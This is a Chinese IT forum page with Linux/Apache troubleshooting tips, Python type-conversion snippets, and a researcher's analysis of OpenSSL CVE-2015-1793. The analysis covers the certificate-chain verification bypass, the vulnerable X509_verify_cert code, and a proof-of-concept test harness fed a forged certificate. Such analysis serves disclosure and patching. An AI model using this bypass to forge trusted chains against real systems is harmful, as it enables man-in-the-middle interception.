运维小issue

运维 OpenSkill 发表了文章 0 个评论 3144 次浏览 2015-07-29 23:39 来自相关话题

做运维那么久了,遇到的问题千奇百怪,现决定把大大小小的问题和解决方案做一个汇总。 一是为了提倡分享精神,二是为了自己记录备忘。 问题1:Centos5.5服务器上想挂载一块windows的移动硬盘 ...查看全部
做运维那么久了,遇到的问题千奇百怪,现决定把大大小小的问题和解决方案做一个汇总。
一是为了提倡分享精神,二是为了自己记录备忘。


问题1:Centos5.5服务器上想挂载一块windows的移动硬盘


错误:
# mount –t ntfs /dev/sdb1 /mnt/
mount: unknown filesystem type ‘ntfs’
解决:
通过ntfs-3g来解决  
打开ntfs-3g的下载点http://www.tuxera.com/community/ntfs-3g-download/ 下载最新的版本;
#下载 :wget http://tuxera.com/opensource/ntfs-3g_ntfsprogs-2012.1.15.tgz

解压,安装:tar ntfs-3g_ntfsprogs-2012.1.15.tgz && cd ntfs-3g_ntfsprogs-2012.1.15 && ./configure && make && make install

#查看移动硬盘的属性: fdisk -l
#挂载:mount -t ntfs-3g /dev/sdb1 /mnt/


问题2:如何查看apache加载的模块


  #通过帮助得知(/usr/local/apache/bin/apachectl  -h) 

/usr/local/apache/binapachectl -l
-l : list compiled in modules (列出static模块)

/usr/local/apache/bin/apachectl -t -D DUMP_MODULES

-t -D DUMP_MODULES : show all loaded modules (包括共享模块)
即http.d中Load Moudles加载的模块

如下例子:
[root@sonkwo1 modules]# /usr/local/apache/bin/apachectl -D DUMP_MODULES
Loaded Modules:
core_module (static)
authn_file_module (static)
authn_default_module (static)
authz_host_module (static)
authz_groupfile_module (static)
authz_user_module (static)
authz_default_module (static)
auth_basic_module (static)
include_module (static)
filter_module (static)
log_config_module (static)
env_module (static)
setenvif_module (static)
mpm_prefork_module (static)
http_module (static)
mime_module (static)
status_module (static)
autoindex_module (static)
asis_module (static)
cgi_module (static)
negotiation_module (static)
dir_module (static)
actions_module (static)
userdir_module (static)
alias_module (static)
rewrite_module (static)
so_module (static)
php5_module (shared)
rpaf_module (shared)


问题3:启动apache的时候报:httpd: Could not reliably determine the server's fully qualified domain name, using 127.0.0.1 for ServerName


虽然不妨碍使用,但是本着刨根问底的精神,经过查找发现,这个问题应该是没有在 /$apache/httpd.conf 
中设定 ServerName。所以apache会用主机上的名称来取代,首先会去找 /etc/hosts 中有没有主机的定义。

所以要解决这个问题可以设定httpd.conf文件中的 ServerName,如下:
ServerName localhost:80


问题4:Directory index forbidden by Options directive


apache报错:Directory index forbidden by Options directive: /var/www/
在 Apache 中要列出目录内容需要 mod_autoindex 模块的支持。  

配置文件的设置方法:

打开列目录功能:

Options +Indexes

关闭列目录功能:

Options -Indexes


 在使用如 RHEL 或 CentOS 发行版自带 Apache 的朋友可能会碰到这样的问题,无法列出网站根目录下面的内容。其实问题原因很简单,因为 Apache 除了会读取 /etc/httpd/conf/httpd.conf 配置文件外,还会读取 /etc/httpd/conf.d/ 下以 .conf 结尾的文件。
 在 /etc/httpd/conf.d/ 下有一个名为 welcome.conf 的文件,这文件的内容如下:
#
# This configuration file enables the default "Welcome"
# page if there is no default index page present for
# the root URL. To disable the Welcome page, comment
# out all the lines below.
#

Options -Indexes
ErrorDocument 403 /error/noindex.html

  我们可以看到文件中去掉了目录的Indexes属性,这导致无法列出根目录的内容。可以通过更改这个文件的后缀名或者注释掉选项并重新加载配置文件解决该问题。
另外如果还有人建议需要一起删除下面的文件,这个就要看你是否设置DirectoryIndex了。
rm -f /var/www/error/noindex.html  ← 删除测试页


问题5:error while loading shared libraries: xxx.so.x"错误的原因和解决办法


一般我们在Linux下执行某些外部程序的时候可能会提示找不到共享库的错误, 比如:  


tmux: error while loading shared libraries: libevent-1.4.so.2: cannot open shared object file: No such file or directory


原因一般有两个, 一个是操作系统里确实没有包含该共享库(lib[i].so.[/i]文件)或者共享库版本不对, 遇到这种情况那就去网上下载并安装上即可.

另外一个原因就是已经安装了该共享库, 但执行需要调用该共享库的程序的时候, 程序按照默认共享库路径找不到该共享库文件.

所以安装共享库后要注意共享库路径设置问题, 如下:

1) 如果共享库文件安装到了/lib或/usr/lib目录下, 那么需执行一下ldconfig命令

ldconfig命令的用途, 主要是在默认搜寻目录(/lib和/usr/lib)以及动态库配置文件/etc/ld.so.conf内所列的目录下, 搜索出可共享的动态链接库(格式如lib[i].so[/i]), 进而创建出动态装入程序(ld.so)所需的连接和缓存文件. 缓存文件默认为/etc/ld.so.cache, 此文件保存已排好序的动态链接库名字列表.

2) 如果共享库文件安装到了/usr/local/lib(很多开源的共享库都会安装到该目录下)或其它"非/lib或/usr/lib"目录下, 那么在执行ldconfig命令前, 还要把新共享库目录加入到共享库配置文件/etc/ld.so.conf中, 如下:

# cat /etc/ld.so.conf
include ld.so.conf.d/*.conf
# echo "/usr/local/lib" >> /etc/ld.so.conf
# ldconfig

3) 如果共享库文件安装到了其它"非/lib或/usr/lib" 目录下, 但是又不想在/etc/ld.so.conf中加路径(或者是没有权限加路径). 那可以export一个全局变量LD_LIBRARY_PATH, 然后运行程序的时候就会去这个目录中找共享库.

LD_LIBRARY_PATH的意思是告诉loader在哪些目录中可以找到共享库. 可以设置多个搜索目录, 这些目录之间用冒号分隔开. 比如安装了一个mysql到/usr/local/mysql目录下, 其中有一大堆库文件在/usr/local/mysql/lib下面, 则可以在.bashrc或.bash_profile或shell里加入以下语句即可:

export LD_LIBRARY_PATH=/usr/local/mysql/lib:$LD_LIBRARY_PATH

一般来讲这只是一种临时的解决方案, 在没有权限或临时需要的时候使用.

4)如果程序需要的库文件比系统目前存在的村文件版本低,可以做一个链接
比如:
error while loading shared libraries: libncurses.so.4: cannot open shared
object file: No such file or directory

ls /usr/lib/libncu*
/usr/lib/libncurses.a /usr/lib/libncurses.so.5
/usr/lib/libncurses.so /usr/lib/libncurses.so.5.3

可见虽然没有libncurses.so.4,但有libncurses.so.5,是可以向下兼容的
建一个链接就好了
ln -s /usr/lib/libncurses.so.5.3 /usr/lib/libncurses.so.4


问题6:使用scp命令出现   "-bash: scp: command not found" 解决办法


# yum -y install openssh-clients


问题7:编译PHP 出现 undefined reference to 'libiconv' 解决办法


但凡出现类似错误,都说明找不到链接库,我们可以尝试手动在系统中查找
然后在编译的时候指定相关目录即可

#find / -name iconv.h
#/usr/local/include/iconv.h

则编译的时候增加目录,让程序能识别出链接库的位置
--with-iconv=/usr/local/include/
原文地址

OpenSSL-CVE-2015-1793漏洞分析

科技前沿 Ansible 发表了文章 0 个评论 2722 次浏览 2015-07-29 14:39 来自相关话题

引言 OpenSSL官方在7月9日发布了编号为 CVE-2015-1793 的交叉证书验证绕过漏洞,其中主要影响了OpenSSL的1.0.1和1.0.2分支。1.0.0和0.9.8分支不受影响。 360安全研 ...查看全部


引言


OpenSSL官方在7月9日发布了编号为 CVE-2015-1793 的交叉证书验证绕过漏洞,其中主要影响了OpenSSL的1.0.1和1.0.2分支。1.0.0和0.9.8分支不受影响。

360安全研究员au2o3t对该漏洞进行了原理上的分析,确认是一个绕过交叉链类型证书验证的高危漏洞,可以让攻击者构造证书来绕过交叉验证,用来形成诸如“中间人”等形式的攻击。


1.漏洞基本原理


直接看最简单的利用方法(利用方法包括但不限于此):

攻击者从一公共可信的 CA (C)处签得一证书 X,并以此证书签发另一证书 V(含对X的交叉引用),那么攻击者发出的证书链 V, R (R为任意证书)对信任 C 的用户将是可信的。

显然用户对 V, R 链的验证会返回失败。

对不支持交叉链认证的老版本来说,验证过程将以失败结束。

对支持交叉认证的版本,则将会尝试构建交叉链 V, X, C,并继续进行验证。

虽然 V, X, C 链能通过可信认证,但会因 X 的用法不包括 CA 而导致验证失败。

但在 openssl-1.0.2c 版本,因在对交叉链的处理中,对最后一个不可信证书位置计数的错误,导致本应对 V, X 记为不可信并验证,错记为了仅对 V 做验证,而没有验证攻击者的证书 X,返回验证成功。


2.具体漏洞分析


漏洞代码位于文件:openssl-1.0.2c/crypto/x509/x509_vfy.c

函数:X509_verify_cert() 中

第 392 行:“ctx->last_untrusted–;”

对问题函数 X509_verify_cert 的简单分析:

( 为方便阅读,仅保留与证书验证强相关的代码,去掉了诸如变量定义、错误处理、资源释放等非主要代码)

问题在于由 <1> 处加入颁发者时及 <2> 处验证(颁发者)后,证书链计数增加,但 最后一个不可信证书位置计数 并未增加,

而在 <4> 处去除过程中 最后一个不可信证书位置计数 额外减少了,导致后面验证过程中少验。

(上述 V, X, C 链中应验 V, X 但少验了 X)

代码分析如下:
int X509_verify_cert(X509_STORE_CTX *ctx)
{
// 将 ctx->cert 做为不信任证书压入需验证链 ctx->chain
// STACK_OF(X509) *chain 将被构造为证书链,并最终送到 internal_verify() 中去验证
sk_X509_push(ctx->chain,ctx->cert);
// 当前链长度(==1)
num = sk_X509_num(ctx->chain);
// 取出第 num 个证书
x = sk_X509_value(ctx->chain, num - 1);
// 存在不信任链则复制之
if (ctx->untrusted != NULL
&& (sktmp = sk_X509_dup(ctx->untrusted)) == NULL) {
X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);
goto end;
}
// 预设定的最大链深度(100)
depth = param->depth;
// 构造需验证证书链
for (;;) {
// 超长退出
if (depth < num)
break;
// 遇自签退出(链顶)
if (cert_self_signed(x))
break;
if (ctx->untrusted != NULL) {
xtmp = find_issuer(ctx, sktmp, x);
// 当前证书为不信任颁发者(应需CA标志)颁发
if (xtmp != NULL) {
// 则加入需验证链
if (!sk_X509_push(ctx->chain, xtmp)) {
X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);
goto end;
}
CRYPTO_add(&xtmp->references, 1, CRYPTO_LOCK_X509);
(void)sk_X509_delete_ptr(sktmp, xtmp);
// 最后一个不可信证书位置计数 自增1
ctx->last_untrusted++;
x = xtmp;
num++;
continue;
}
}
break;
}
do {
i = sk_X509_num(ctx->chain);
x = sk_X509_value(ctx->chain, i - 1);
// 若最顶证书是自签的
if (cert_self_signed(x)) {
// 若需验证链长度 == 1
if (sk_X509_num(ctx->chain) == 1) {
// 在可信链中查找其颁发者(找自己)
ok = ctx->get_issuer(&xtmp, ctx, x);

// 没找到或不是相同证书
if ((ok <= 0) || X509_cmp(x, xtmp)) {
ctx->error = X509_V_ERR_DEPTH_ZERO_SELF_SIGNED_CERT;
ctx->current_cert = x;
ctx->error_depth = i - 1;
if (ok == 1)
X509_free(xtmp);
bad_chain = 1;
ok = cb(0, ctx);
if (!ok)
goto end;
// 找到
} else {
X509_free(x);
x = xtmp;
// 入到可信链
(void)sk_X509_set(ctx->chain, i - 1, x);
// 最后一个不可信证书位置计数 置0
ctx->last_untrusted = 0;
}
// 最顶为自签证书 且 证书链长度>1
} else {
// 弹出
chain_ss = sk_X509_pop(ctx->chain);
// 最后一个不可信证书位置计数 自减
ctx->last_untrusted--;
num--;
j--;
// 保持指向当前最顶证书
x = sk_X509_value(ctx->chain, num - 1);
}
}
// <1>
// 继续构造证书链(加入颁发者)
for (;;) {
// 自签退出
if (cert_self_signed(x))
break;
// 在可信链中查找其颁发者
ok = ctx->get_issuer(&xtmp, ctx, x);
// 出错
if (ok < 0)
return ok;
// 没找到
if (ok == 0)
break;
x = xtmp;
// 将不可信证书的颁发者(证书)加入需验证证书链
if (!sk_X509_push(ctx->chain, x)) {
X509_free(xtmp);
X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);
return 0;
}
num++;
}
// <2>
// 验证 for(;;) 中加入的颁发者链
i = check_trust(ctx);
if (i == X509_TRUST_REJECTED)
goto end;
retry = 0;
// <3>
// 检查交叉链
if (i != X509_TRUST_TRUSTED
&& !(ctx->param->flags & X509_V_FLAG_TRUSTED_FIRST)
&& !(ctx->param->flags & X509_V_FLAG_NO_ALT_CHAINS)) {
while (j-- > 1) {
xtmp2 = sk_X509_value(ctx->chain, j - 1);
// 其实得到一个“看似合理”的证书就返回,这里实际上仅仅根据 CN域 查找颁发者
ok = ctx->get_issuer(&xtmp, ctx, xtmp2);
if (ok < 0)
goto end;
// 存在交叉链
if (ok > 0) {
X509_free(xtmp);

// 去除交叉链以上部分
while (num > j) {
xtmp = sk_X509_pop(ctx->chain);
X509_free(xtmp);
num--;
// <4>
// 问题所在
ctx->last_untrusted--;
}
// <5>
retry = 1;
break;
}
}
}
} while (retry);
……
}
官方的解决方法是在 <5> 处重新计算 最后一个不可信证书位置计数 的值为链长:

ctx->last_untrusted = sk_X509_num(ctx->chain);

并去掉 <4> 处的 最后一个不可信证书位置计数 自减运算(其实去不去掉都无所谓)。

另一个解决办法可以是在 <1> <2> 后,在 <3> 处重置 最后一个不可信证书位置计数,加一行:

ctx->last_untrusted = num;

这样 <4> 处不用删除,而逻辑也是合理并前后一致的。


3.漏洞验证


笔者修改了部分代码并做了个Poc 。修改代码:
int X509_verify_cert(X509_STORE_CTX *ctx)
{
X509 [i]x, [/i]xtmp, [i]xtmp2, [/i]chain_ss = NULL;
int bad_chain = 0;
X509_VERIFY_PARAM *param = ctx->param;
int depth, i, ok = 0;
int num, j, retry;
int ([i]cb) (int xok, X509_STORE_CTX [/i]xctx);
STACK_OF(X509) *sktmp = NULL;
if (ctx->cert == NULL) {
X509err(X509_F_X509_VERIFY_CERT, X509_R_NO_CERT_SET_FOR_US_TO_VERIFY);
return -1;
}

cb = ctx->verify_cb;

/*
* first we make sure the chain we are going to build is present and that
* the first entry is in place
*/
if (ctx->chain == NULL) {
if (((ctx->chain = sk_X509_new_null()) == NULL) ||
(!sk_X509_push(ctx->chain, ctx->cert))) {
X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);
goto end;
}
CRYPTO_add(&ctx->cert->references, 1, CRYPTO_LOCK_X509);
ctx->last_untrusted = 1;
}

/[i] We use a temporary STACK so we can chop and hack at it [/i]/
if (ctx->untrusted != NULL
&& (sktmp = sk_X509_dup(ctx->untrusted)) == NULL) {
X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);
goto end;
}

num = sk_X509_num(ctx->chain);
x = sk_X509_value(ctx->chain, num - 1);
depth = param->depth;

for (;;) {
/[i] If we have enough, we break [/i]/
if (depth < num)
break; /* FIXME: If this happens, we should take
* note of it and, if appropriate, use the
* X509_V_ERR_CERT_CHAIN_TOO_LONG error code
[i] later. [/i]/

/[i] If we are self signed, we break [/i]/
if (cert_self_signed(x))
break;

/*
* If asked see if we can find issuer in trusted store first
*/
if (ctx->param->flags & X509_V_FLAG_TRUSTED_FIRST) {
ok = ctx->get_issuer(&xtmp, ctx, x);
if (ok < 0)
return ok;
/*
* If successful for now free up cert so it will be picked up
* again later.
*/
if (ok > 0) {
X509_free(xtmp);
break;
}
}

/[i] If we were passed a cert chain, use it first [/i]/
if (ctx->untrusted != NULL) {
xtmp = find_issuer(ctx, sktmp, x);
if (xtmp != NULL) {
if (!sk_X509_push(ctx->chain, xtmp)) {
X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);
goto end;
}
CRYPTO_add(&xtmp->references, 1, CRYPTO_LOCK_X509);
(void)sk_X509_delete_ptr(sktmp, xtmp);
ctx->last_untrusted++;
x = xtmp;
num++;
/*
* reparse the full chain for the next one
*/
continue;
}
}
break;
}

/[i] Remember how many untrusted certs we have [/i]/
j = num;
/*
* at this point, chain should contain a list of untrusted certificates.
* We now need to add at least one trusted one, if possible, otherwise we
* complain.
*/

do {
/*
* Examine last certificate in chain and see if it is self signed.
*/
i = sk_X509_num(ctx->chain);
x = sk_X509_value(ctx->chain, i - 1);
if (cert_self_signed(x)) {
/[i] we have a self signed certificate [/i]/
if (sk_X509_num(ctx->chain) == 1) {
/*
* We have a single self signed certificate: see if we can
* find it in the store. We must have an exact match to avoid
* possible impersonation.
*/
ok = ctx->get_issuer(&xtmp, ctx, x);
if ((ok <= 0) || X509_cmp(x, xtmp)) {
ctx->error = X509_V_ERR_DEPTH_ZERO_SELF_SIGNED_CERT;
ctx->current_cert = x;
ctx->error_depth = i - 1;
if (ok == 1)
X509_free(xtmp);
bad_chain = 1;
ok = cb(0, ctx);
if (!ok)
goto end;
} else {
/*
* We have a match: replace certificate with store
* version so we get any trust settings.
*/
X509_free(x);
x = xtmp;
(void)sk_X509_set(ctx->chain, i - 1, x);
ctx->last_untrusted = 0;
}
} else {
/*
* extract and save self signed certificate for later use
*/
chain_ss = sk_X509_pop(ctx->chain);
ctx->last_untrusted--;
num--;
j--;
x = sk_X509_value(ctx->chain, num - 1);
}
}
/[i] We now lookup certs from the certificate store [/i]/
for (;;) {
/[i] If we have enough, we break [/i]/
if (depth < num)
break;
/[i] If we are self signed, we break [/i]/
if (cert_self_signed(x))
break;
ok = ctx->get_issuer(&xtmp, ctx, x);

if (ok < 0)
return ok;
if (ok == 0)
break;
x = xtmp;
if (!sk_X509_push(ctx->chain, x)) {
X509_free(xtmp);
X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);
return 0;
}
num++;
}

/[i] we now have our chain, lets check it... [/i]/
i = check_trust(ctx);

/[i] If explicitly rejected error [/i]/
if (i == X509_TRUST_REJECTED)
goto end;

/*
* If it's not explicitly trusted then check if there is an alternative
* chain that could be used. We only do this if we haven't already
* checked via TRUSTED_FIRST and the user hasn't switched off alternate
* chain checking
*/
retry = 0;
// <1>
//ctx->last_untrusted = num;


if (i != X509_TRUST_TRUSTED
&& !(ctx->param->flags & X509_V_FLAG_TRUSTED_FIRST)
&& !(ctx->param->flags & X509_V_FLAG_NO_ALT_CHAINS)) {
while (j-- > 1) {
xtmp2 = sk_X509_value(ctx->chain, j - 1);
ok = ctx->get_issuer(&xtmp, ctx, xtmp2);
if (ok < 0)
goto end;
/[i] Check if we found an alternate chain [/i]/
if (ok > 0) {
/*
* Free up the found cert we'll add it again later
*/
X509_free(xtmp);

/*
* Dump all the certs above this point - we've found an
* alternate chain
*/
while (num > j) {
xtmp = sk_X509_pop(ctx->chain);
X509_free(xtmp);
num--;
ctx->last_untrusted--;
}
retry = 1;
break;
}
}
}
} while (retry);

printf(" num=%d, real-num=%d\n", ctx->last_untrusted, sk_X509_num(ctx->chain) );
/*
* If not explicitly trusted then indicate error unless it's a single
* self signed certificate in which case we've indicated an error already
* and set bad_chain == 1
*/


if (i != X509_TRUST_TRUSTED && !bad_chain) {
if ((chain_ss == NULL) || !ctx->check_issued(ctx, x, chain_ss)) {
if (ctx->last_untrusted >= num)
ctx->error = X509_V_ERR_UNABLE_TO_GET_ISSUER_CERT_LOCALLY;
else
ctx->error = X509_V_ERR_UNABLE_TO_GET_ISSUER_CERT;
ctx->current_cert = x;
} else {
sk_X509_push(ctx->chain, chain_ss);
num++;
ctx->last_untrusted = num;
ctx->current_cert = chain_ss;
ctx->error = X509_V_ERR_SELF_SIGNED_CERT_IN_CHAIN;
chain_ss = NULL;
}

ctx->error_depth = num - 1;
bad_chain = 1;
ok = cb(0, ctx);
if (!ok)
goto end;
}
printf("flag=1\n");
/[i] We have the chain complete: now we need to check its purpose [/i]/
ok = check_chain_extensions(ctx);

if (!ok)
goto end;

printf("flag=2\n");
/[i] Check name constraints [/i]/

ok = check_name_constraints(ctx);

if (!ok)
goto end;
printf("flag=3\n");
ok = check_id(ctx);

if (!ok)
goto end;
printf("flag=4\n");
/[i] We may as well copy down any DSA parameters that are required [/i]/
X509_get_pubkey_parameters(NULL, ctx->chain);

/*
* Check revocation status: we do this after copying parameters because
* they may be needed for CRL signature verification.
*/

ok = ctx->check_revocation(ctx);
if (!ok)
goto end;
printf("flag=5\n");
i = X509_chain_check_suiteb(&ctx->error_depth, NULL, ctx->chain,
ctx->param->flags);
if (i != X509_V_OK) {
ctx->error = i;
ctx->current_cert = sk_X509_value(ctx->chain, ctx->error_depth);
ok = cb(0, ctx);
if (!ok)
goto end;
}
printf("flag=6\n");
/[i] At this point, we have a chain and need to verify it [/i]/
if (ctx->verify != NULL)
ok = ctx->verify(ctx);
else
ok = internal_verify(ctx);
if (!ok)
goto end;
printf("flag=7\n");
#ifndef OPENSSL_NO_RFC3779
/[i] RFC 3779 path validation, now that CRL check has been done [/i]/
ok = v3_asid_validate_path(ctx);
if (!ok)
goto end;
ok = v3_addr_validate_path(ctx);
if (!ok)
goto end;
#endif

printf("flag=8\n");
/[i] If we get this far evaluate policies [/i]/
if (!bad_chain && (ctx->param->flags & X509_V_FLAG_POLICY_CHECK))
ok = ctx->check_policy(ctx);
if (!ok)
goto end;
if (0) {
end:
X509_get_pubkey_parameters(NULL, ctx->chain);
}
if (sktmp != NULL)
sk_X509_free(sktmp);
if (chain_ss != NULL)
X509_free(chain_ss);
printf("ok=%d\n", ok );
return ok;
}
Poc:
//
//里头的证书文件自己去找一个,这个不提供了
//
#include
#include
#include
#include
#include


STACK_OF(X509) [i]load_certs_from_file(const char [/i]file)
{
STACK_OF(X509) *certs;
BIO *bio;
X509 *x;
bio = BIO_new_file( file, "r");
certs = sk_X509_new_null();
do
{
x = PEM_read_bio_X509(bio, NULL, 0, NULL);
sk_X509_push(certs, x);
}while( x != NULL );

return certs;
}


void test(void)
{
X509 *x = NULL;
STACK_OF(X509) *untrusted = NULL;
BIO *bio = NULL;
X509_STORE_CTX *sctx = NULL;
X509_STORE *store = NULL;
X509_LOOKUP *lookup = NULL;

store = X509_STORE_new();
lookup = X509_STORE_add_lookup( store, X509_LOOKUP_file() );
X509_LOOKUP_load_file(lookup, "roots.pem", X509_FILETYPE_PEM);
untrusted = load_certs_from_file("untrusted.pem");
bio = BIO_new_file("bad.pem", "r");
x = PEM_read_bio_X509(bio, NULL, 0, NULL);
sctx = X509_STORE_CTX_new();
X509_STORE_CTX_init(sctx, store, x, untrusted);
X509_verify_cert(sctx);
}

int main(void)
{
test();
return 0;
}
将代码中 X509_verify_cert() 函数加入输出信息如下:

编译,以伪造证书测试,程序输出信息为:

num=1, real-num=3

flag=1

flag=2

flag=3

flag=4

flag=5

flag=6

flag=7

flag=8

ok=1

认证成功

将 <1> 处注释代码去掉,编译,再以伪造证书测试,程序输出信息为:

num=3, real-num=3

flag=1

ok=0

认证失败


4.安全建议


建议使用受影响版本(OpenSSL 1.0.2b/1.0.2c 和 OpenSSL 1.0.1n/1.0.1o)的 产品或代码升级OpenSSL到最新版本

[error] [client 127.0.0.1] Directory index forbidden by Options directive: /data/www/afb

编程 空心菜 回复了问题 2 人关注 1 个回复 5044 次浏览 2015-07-28 10:41 来自相关话题

Mcrypt PHP extension required

编程 空心菜 回复了问题 2 人关注 1 个回复 3893 次浏览 2015-07-28 10:40 来自相关话题

configure: error: Please reinstall the libcurl distribution - easy.h should be in /include/curl/

运维 空心菜 回复了问题 2 人关注 1 个回复 5122 次浏览 2015-07-28 00:33 来自相关话题

Nexus启动报错

编程 空心菜 回复了问题 2 人关注 1 个回复 5370 次浏览 2015-07-28 00:31 来自相关话题

python字符串 元组 列表 字典互转

编程 空心菜 发表了文章 0 个评论 4187 次浏览 2015-07-27 01:27 来自相关话题

#1、字典 dict = {'name': 'Zara', 'age': 7, 'class': 'First'} #字典转为字符串,返回: {'age': 7, 'name': 'Zara', ' ...查看全部
#1、字典
dict = {'name': 'Zara', 'age': 7, 'class': 'First'}

#字典转为字符串,返回: {'age': 7, 'name': 'Zara', 'class': 'First'}
print type(str(dict)), str(dict)

#字典可以转为元组,返回:('age', 'name', 'class')
print tuple(dict)
#字典可以转为元组,返回:(7, 'Zara', 'First')
print tuple(dict.values())

#字典转为列表,返回:['age', 'name', 'class']
print list(dict)
#字典转为列表
print dict.values

#2、元组
tup=(1, 2, 3, 4, 5)

#元组转为字符串,返回:(1, 2, 3, 4, 5)
print tup.__str__()

#元组转为列表,返回:[1, 2, 3, 4, 5]
print list(tup)

#元组不可以转为字典

#3、列表
nums=[1, 3, 5, 7, 8, 13, 20];

#列表转为字符串,返回:[1, 3, 5, 7, 8, 13, 20]
print str(nums)

#列表转为元组,返回:(1, 3, 5, 7, 8, 13, 20)
print tuple(nums)

#列表不可以转为字典

#4、字符串

#字符串转为元组,返回:(1, 2, 3)
print tuple(eval("(1,2,3)"))
#字符串转为列表,返回:[1, 2, 3]
print list(eval("(1,2,3)"))
#字符串转为字典,返回:
print type(eval("{'name':'ljq', 'age':24}"))
这种方式要注意风险,因为eval实际上是解释执行python代码,如果输入来源于外部....

或者:
[quote]>> user
"{'name' : 'jim', 'sex' : 'male', 'age': 18}"
>>> exec("c="+user)
>>> c
{'age': 18, 'name': 'jim', 'sex': 'male'}[/quote]

也可以使用simplejson把JSON转化为Python内置类型
可以这样使用:
JSON到字典转化:
ret_dict = simplejson.loads(json_str)
字典到JSON转化:
json_str = simplejson.dumps(dict

"msg": "Aborting, target uses selinux but python bindings (libselinux-python) aren't installed!"

运维 空心菜 回复了问题 2 人关注 1 个回复 6615 次浏览 2015-07-26 23:56 来自相关话题

python科学计算的库有哪些

编程 Ansible 回复了问题 2 人关注 1 个回复 4519 次浏览 2015-07-26 18:25 来自相关话题

Can't find PHP headers in /usr/include/php

运维 空心菜 回复了问题 1 人关注 1 个回复 8838 次浏览 2021-04-11 19:35 来自相关话题